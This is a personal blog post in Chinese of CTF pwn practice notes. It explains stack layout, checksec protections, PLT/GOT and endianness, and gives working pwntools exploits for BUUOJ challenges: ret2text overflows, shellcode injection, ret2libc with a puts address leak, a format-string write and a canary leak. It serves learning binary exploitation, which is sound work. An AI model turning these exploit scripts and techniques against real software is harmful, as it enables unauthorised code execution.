pwn练习1
mango

tool

  1. file xxx

  2. checksec –file=xxx

  3. objdump -h xxx

  4. readelf -W -l xxx

  5. ROPgadget –binary xxx –string ‘/bin/sh’

  6. gdb切换:gdb.sh gef用于32位 (使用root)

rip

image-20231225001011670

file命令可以查看elf文件的一些信息

gets危险函数

image-20231225001217480

system是可以执行shell命令的函数

image-20231225001300989

利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间

image-20231225001425251

在main的栈帧中给s分配了15个字节

64位的elf文件,rbp是8个字节

寄存器

rbp:栈基址寄存器,存放当前栈帧的栈底地址

rsp:栈顶寄存器,存放当前栈帧的栈顶地址

ebp:扩展基址指针寄存器,存储当前函数状态的及地址,在函数运行时不变,可以用来索引\确定函数参数或局部变量的位置

esp:栈指针寄存器,esp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化.

eip:指令指针寄存器,eip用来存储即将执行的程序指令地址,cpu以找eip的存储内容读取指令并执行,eip随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令

64位cpu对应RSP(栈顶寄存器),RBP(栈基寄存器),RIP(程序计数寄存器)三个寄存器。
32位cpu则对应ESP(栈指针寄存器),EBP(扩展基址指针寄存器),EIP(指令指针寄存器)三个寄存器。
R开头:64bit, 8字节(1字节=8bit)
E开头:32bit, 4字节
EAX(累加寄存器)是32位, AX 是EAX的低16位 , AL 和AH是AX的低8位和高8位。
AX,BX,CX:16bit, 2字节
AH, AL: 8bit, 1字节

大端序和小端序

小端序

•低地址存放数据低位、高地址存放数据高位

•我们所主要关注的格式

img

大端序

•低地址存放数据高位、高地址存放数据低位

img 在这里插入图片描述

所以payload里面,我们需要先填充s,再填充rbp,再填充return address

所以payload可以为’s’*15+’b’*8+p64(0x401186+1).decode(“iso-8859-1”)

1
2
3
4
5
6
7
from pwn import *

p = remote("node4.buuoj.cn", 27821)
payload = "s" * 15 + "b" * 8 + p64(0x401186 + 1).decode("iso-8859-1")
p.sendline(payload)
p.interactive() # 将程序切换到交互模式

如果ida地址是红色,按地址,快捷键P

warmup_csaw_2016

做前两步:1.file 2.checksec

1
2
file xxx
checksec --file=xxx

stack: no canary found //栈溢出保护未开启

PIE: No PIE //地址随机化也没开

image-20231225004527420

gets栈溢出漏洞

image-20231225004540978

给v5分配了64个字节

image-20231225004758924
1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("node4.buuoj.cn", 26574)
payload = (
"s" * 64 + "b" * 8 + p64(0x40060D + 1).decode("iso-8859-1")
) # +1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)。
p.sendline(payload)
p.interactive() # 将程序切换到交互模式

ciscn_2019_n_1 1

这个题目的NX是开的

NX?

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

image-20231225010907764

可以在v1输入一个长串,覆盖v2

image-20231225010947264

找到v1和v2的位置

在这里插入图片描述

覆盖0x30-0x4=44个字节给v1,4个字节给v2

由于v2数值在内存中以16进制存储,所以,找到11.28125的16进制值

image-20231225011200333 image-20231225011210883

所以0x41348000就是那个小数啦

p64

p64函数的作用是将一个64位的整数转换为一个8字节的字节串。这个字节串是按照小端字节序排列的,也就是说,低位字节在前,高位字节在后。

如果你直接将整数0x41348000转换为字符串,然后添加到payload中,那么这个整数将会被转换为一个十进制的字符串,而不是一个字节串。这个字符串的长度并不固定,而且它的内容也不是你想要的字节序列。

另外,如果你直接将整数0x41348000添加到payload中,Python会抛出一个TypeError,因为不能直接将整数和字符串相加。

所以,如果你想要将一个64位的整数作为一个8字节的字节串添加到payload中,你应该使用p64函数。

1
2
3
4
5
6
7
from pwn import *

p = remote("node4.buuoj.cn", 28498)
payload = "s" * 44 + p64(0x41348000).decode("iso-8859-1")
p.sendline(payload)
p.interactive() # 将程序切换到交互模式

ISO-8859-1

.decode("iso-8859-1")的作用是将字节串转换为字符串。这是因为在Python 3中,字节串和字符串是两种不同的类型,它们不能直接相加。如果你尝试将一个字节串添加到一个字符串,Python会抛出一个TypeError。

ISO-8859-1,也被称为Latin-1,是一种8位的字符编码,它可以表示西欧语言中的字符。在这种编码中,每个字符都被编码为一个8位的字节,所以它可以表示最多256个不同的字符。最重要的是,ISO-8859-1编码是与ASCII编码兼容的,也就是说,ASCII编码中的字符在ISO-8859-1编码中有相同的编码。

当你使用.decode("iso-8859-1")时,每个字节都会被转换为ISO-8859-1编码中对应的字符。这意味着,你可以将任何字节串解码为一个ISO-8859-1编码的字符串,而不会出现解码错误。这对于处理二进制数据非常有用,因为二进制数据可能包含任何字节。

如果你不使用.decode("iso-8859-1"),那么你需要找到另一种方法来将字节串转换为字符串。例如,你可以使用.decode("utf-8"),但这只适用于UTF-8编码的字节串。如果字节串包含非UTF-8编码的字节,这将会抛出一个UnicodeDecodeError。

ret2text

image-20231225151910493

checksec

  1. Arch
    从这行信息可以知道程序是32bit还是64bit的

  2. RELRO
    Full Relro(重定位表只读)

    Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。

  3. Stack
    显示Stack:No canary found则表示可以利用栈溢出

  4. NX
    NX enable(不可执行内存)

    最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。

  5. PIE(ASLR)

    地址空间分布随机化

image-20231225154523387 image-20231225154538577 image-20231225154715969

objdump读取plt和got表

PLT与GOT表均为动态链接过程中的重要部分

GOT

Global Offset Table, 全局偏移表,包含所有需要动态链接的外部函数的地址(在第一次执行后)

PLT

Procedure Link Table, 过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)

Linux虚拟内存分段映射中,一般会分出三个相关的段:

  • .plt: 即上文提到的过程链接表,包含全部的外部函数跳转指令信息

    • Attributes: Read / Execute
  • .got.plt: 即下文将要表达的GOT表,与PLT表搭配使用,包含全部外部函数地址(第一次调用前为伪地址,具体见下)

    • Attributes: Read / Write
  • .got : 存放其他全局符号信息,注意与.got.plt不同,与下文函数动态链接过程关系不大(所以了解不深请见谅,有兴趣的读者也欢迎分享)

    • Attributes: Read / Write

      简单来说,PLT表存放跳转相关指令,GOT表存放外部函数(符号)地址

1
2
3
4
5
6
7
from pwn import *

context(arch="amd64", log_level="debug")
p = remote("node4.buuoj.cn", 25373)
payload = "a" * 32 + "b" * 8 + p64(0x4011FB + 1).decode("iso-8859-1")
p.sendlineafter("Show me your magic", payload)
p.interactive()

ezshellcode

image-20240101162540921

mmap(Memory Map)是一个用于在进程的虚拟地址空间中创建内存映射区域的系统调用。这个函数允许进程将一个文件或者匿名的内存区域映射到其地址空间,从而可以通过对内存的访问来对文件进行读写,或者在进程间共享数据。

我们输入的buf写入了0x66660000,下面跳转到了0x66660000,所以可以执行shellcode

这里也可以看作是代码注入/shellcode注入

1
2
3
4
5
6
7
from pwn import *

context(arch="amd64", log_level="debug")
p = remote("node5.buuoj.cn", 27166)

p.sendlineafter("Show me your magic", asm(shellcraft.sh()))
p.interactive()

需要生成shellcode最好在linux执行(在mango使用python2)

newstar_shop

逻辑阅读

整数溢出。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = remote("node5.buuoj.cn", 29444)
for i in range(2):
sh.sendlineafter(b"==", b"1")
sh.sendlineafter(b"What do you want to buy?", b"2")
sh.sendlineafter(b"==", b"3")
sh.sendlineafter(b"==", b"1")
sh.sendlineafter(b"What do you want to buy?", b"3")
print(sh.sendline(b"cat flag"))
sh.interactive()

p1eee

ELF是按页对齐,一页是0x1000,所以低三位十六进制的值不会改变

因为后门函数的地址与有溢出的函数的地址非常接近,所以只需修改最低一字节就能控制程序流到后门

找到后门的最后一个字节0x6c

1
2
3
4
5
6
7
8
9
from pwn import *

context(arch="amd64", log_level="debug")
p = remote("node5.buuoj.cn", 26079)

payload = b"a" * 0x20 + p64(0xFFFFFFFF) + p8(0x6C)
p.sendlineafter("A nice try to break pie!!!", payload)
print(p.sendline(b"cat flag"))
p.interactive()

Random

随机数猜数。题目是rand+time是真的随机数。可以利用python的ctyeps库同时生成随机数来猜

shell.py

image-20240101191913396

random1.c

image-20240101192028025
1
gcc -shared -o random1.so random1.c
  • -shared:这个选项告诉 GCC 生成一个共享库(在 Windows 上是 DLL,在 Unix-like 系统上是 .so 文件)。

  • -o random1.so:这个选项指定输出文件的名称。在这里,输出文件的名称是 random1.so

  • random1.c:这是要编译的源代码文件。

ret2libc1

wiki的题目

image-20240110180214373

flat可以自动转换

system_plt是在ida中查看到的

image-20240110182109397

在ida里发现s占用100,s名称占用4,r变量占用4,+ebp占用4,所以先填充112个垃圾值。将system_plt放到返回值(这个返回值是sys的返回值)。

不过还是没搞明白为什么只覆盖了sys的返回值不用覆盖ebp。

然后把参数/bin/sh放进去

因为子函数在父函数的栈帧内。

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x08048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

还有一个找偏移量的方法

找偏移量

1
2
3
4
5
6
7
pattern create 150

r

pattern offset AA8A(在run的结果里看Invalid $PC address,翻译成字符)

pattern search
image-20240110202322700

ret2libc

是存在pop_rdi_ret的gadget可以利用

在x86_64架构中,函数调用的参数通过寄存器来传递,而不是通过栈来传递。前六个整数或者指针参数是通过rdi,rsi,rdx,rcx,r8,r9这六个寄存器来传递的。如果有更多参数,剩下的参数通过栈传递。

所以要ROP(Return Oriented Programming)来调用一个函数并且操控参数时,就要找到可以控制这些寄存器的gadget。比如

  1. pop rdi;ret
  2. pop rsi;popr15;ret(官方wp中使用的)
  3. ret

获取pop_rdi_ret的地址

1
ROPgadget --binary /... --only "pop|ret"
image-20240110210815476 image-20240110211701612

找到偏移为0x20

buf是全局变量,被放在bss段上

在 C 语言中,一个变量是在 BSS 段还是在栈上,主要取决于它的声明位置和存储类别:

  1. 全局变量和静态变量:这些变量通常存储在 BSS 段。BSS 段用于存储程序中未初始化的全局变量和静态变量。
  2. 局部变量和函数参数:这些变量通常存储在栈上。当一个函数被调用时,它的局部变量和参数会被压入栈中。

可以使用objdump -h program//readelf -S program查看bss段的地址(不同环境下bss的地址可能不同)

使用pedavmmap可以查看bss段有无执行权限

所以可以先把buf塞满(0x20),然后塞rbp(0x8,因为在bss段所以可以直接塞bss的起始位置)。rbp塞垃圾值也可以。

1
2
3
4
5
6
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, puts_got, puts_plt, main_addr),
)#40=32+8
put_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print(hex(put_addr))

然后因为64位下函数的第一个参数在rdi中,因此把栈顶的值弹出到rdi。在x86_64中,调用函数时,函数的第一个参数是通过rdi寄存器传递的。因此使用pop_rdi_ret这个gadget,把它的地址放在原本的return address处,那么程序就会跳转到pop_rdi_ret的地址处执行它。pop_rdi将此时的栈顶数据(puts函数的地址)弹给rdi,然后retplt表的puts处调用puts,那么puts就会找到rdi,打印rdiputs的地址。puts执行之后,将retmain_addr。(这里不返回main也可以)

这样就完成了puts函数地址的泄露,可以用于泄露远程libc的版本。

这里我还另外打了read的地址。只有一个地址有时会有很多个版本的libc被检索到。https://libc.rip/

只搜索三个字节(12位)的原因:

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变

image-20240112183625173

这样就得到了libc的版本,可以看到有system/bin/sh的偏移。所以可以计算libc_base,加上偏移得到需要的函数的地址。

1
2
3
libc_base = puts_addr - 0x80970
system_addr = libc_base + 0x04F420
binsh_addr = libc_base + 0x1B3D88

这是手动计算的方法。还有其他两种办法写在完整代码中了。

现在的目标就是执行system('/bin/sh')了。与上面类似,仍然利用栈溢出构造ROP链。

1
2
bss-->pop_rdi_ret-->binsh_addr-->system_addr--main_addr
(填rbp-->调整参数为'/bin/sh'+ret跳到调用system处-->/bin/sh-->system-->main)

所以可以:

1
2
3
4
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,system_addr,main_addr),
)

然而这样执行程序崩溃了。为什么呢?

因为在ubuntu18版本以上调用system函数需要栈对齐。

可以看这一篇文章:

所以我们加一个ret

1
2
3
4
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,ret,system_addr,main_addr),
)

官方wp的写法:

1
2
3
4
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr, pop_rsi_r15_ret, 0, 0, system_addr),
)

大功告成!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(os="linux", arch="amd64", log_level="debug")#put out debug msg
# p=process('/home/cake/Documents/pwn/newstar/week2/ret2libc') #local test
p = remote("node5.buuoj.cn", 28657) #far test
elf = ELF("/home/cake/Documents/pwn/newstar/week2/ret2libc")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x0000000000400763#find in ROPgadget
pop_rsi_r15_ret = 0x0000000000400761
ret = 0x0000000000400506
bss = 0x0000000000601040#find in objdump

p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, puts_got, puts_plt, main_addr),
)#40=32+8
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print(hex(puts_addr)) #read: 0x7f514c91b020 puts:0x7f37fd048970

# libc is provided
# libc_base=read_addr-libc.symbols['read']
# system_addr=libc_base+libc.symbols['system']
# binsh_addr=libc_base+libc.search('/bin/sh').next()

# libcsearcher
# libc = LibcSearcher('read', read_addr)
# libc_base = read_addr - libc.dump('read')
# system_addr = libc_base + libc.dump('system')
# binsh_addr = libc_base + libc.dump('str_bin_sh')

#find by hand
libc_base = puts_addr - 0x80970
system_addr = libc_base + 0x04F420
binsh_addr = libc_base + 0x1B3D88

#offical:
# p.sendafter(
# b"Show me your magic again\n",
# b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr, pop_rsi_r15_ret, 0, 0, system_addr),
# )
#mango:
p.sendafter(
b"Show me your magic again\n",
b"\x00" * 0x20 + flat(bss,pop_rdi_ret, binsh_addr,ret,system_addr,main_addr),
)
p.interactive()

pwn1_sctf_2016

image-20240111010621838

找到s距离ebp有0x3C,所以0x3C+4

1
2
3
4
5
6
from pwn import*
p=remote('node5.buuoj.cn',28650)
#p=process('/home/cake/Documents/pwn/buu/pwn1_sctf_2016')
payload=b'I'*21+b'f'+p32(0x08048F0D)
p.sendline(payload)
p.interactive()

jarvisoj_level0

image-20240111012706193

buf128+rbp8

image-20240111012759316
1
2
3
4
5
6
from pwn import*
p=remote('node5.buuoj.cn',28299)
#p=process('/home/cake/Documents/pwn/buu/level0')
payload=b'a'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()

第五空间pwn5

格式化字符串漏洞

题目生成了一个随机数作为密码,要求输入用户名和密码,密码和随机数匹配了就getshell

设置了canary无法栈溢出

随机数被放入了bss段的0x804C044

可以看到用户名被放在栈上第10个位置

image-20240111014512006

%16$n的意思是将已经输出的字符数赋值到第16个参数指向的地址处。那么我们可以巧妙地构造,操控bss处的值

因为%16$n有5个字符,而地址是4位,所以我们构造四个。

1
2
3
4
5
6
7
8
from pwn import *
p=remote('node5.buuoj.cn',28277)
#p=process('/home/cake/Documents/pwn/buu/pwn5')
bss=0x804C044
payload=b'AAAA%16$n%17$n%18$n%19$n'+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
p.sendline(payload)
p.sendline(str(0x04040404))
p.interactive()

canary

image-20240114203156846

有canary

PIE没有开,可以直接使用函数地址

image-20240114235201701

第一个read进来buf,然后print出buf,可以利用格式化字符串漏洞。buf的大小是40,第二个read的限制是0x100,有栈溢出。还找到了backdoor

image-20240115003752002

所以可以使用print来泄露canary的值,使用栈溢出来ret2text

那么先测试一下buf和canary在栈的哪个位置。

找到第二个read的地址

image-20240115001003992

在这里打断点。

image-20240115001132036

发现buf在栈的第六个位置

image-20240115003449716

第十一个位置的数据最末尾是00,很像canary的00截断

查看main的汇编

image-20240115001648491

找到canary在rbp-0x8位置

查看canary的地址

image-20240115001727220

确实是0x7fffffffdb88

那么canary在栈的第11个位置

encode()方法是将字符串转换为字节串的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
p = remote("node5.buuoj.cn", 27196)
p.sendlineafter(b"Give me some gift?\n", "aaaaaaaa%11$p".encode())

p.recvuntil("aaaaaaaa")
canary = int(p.recvuntil(b"00").decode(), 16)
print(canary)
p.sendlineafter(
b"Show me your magic", b"a" * 40 + p64(canary) + b"a" * 8 + p64(0x401262)
)
p.interactive()
由 Hexo 驱动 & 主题 Keep
访客数 访问量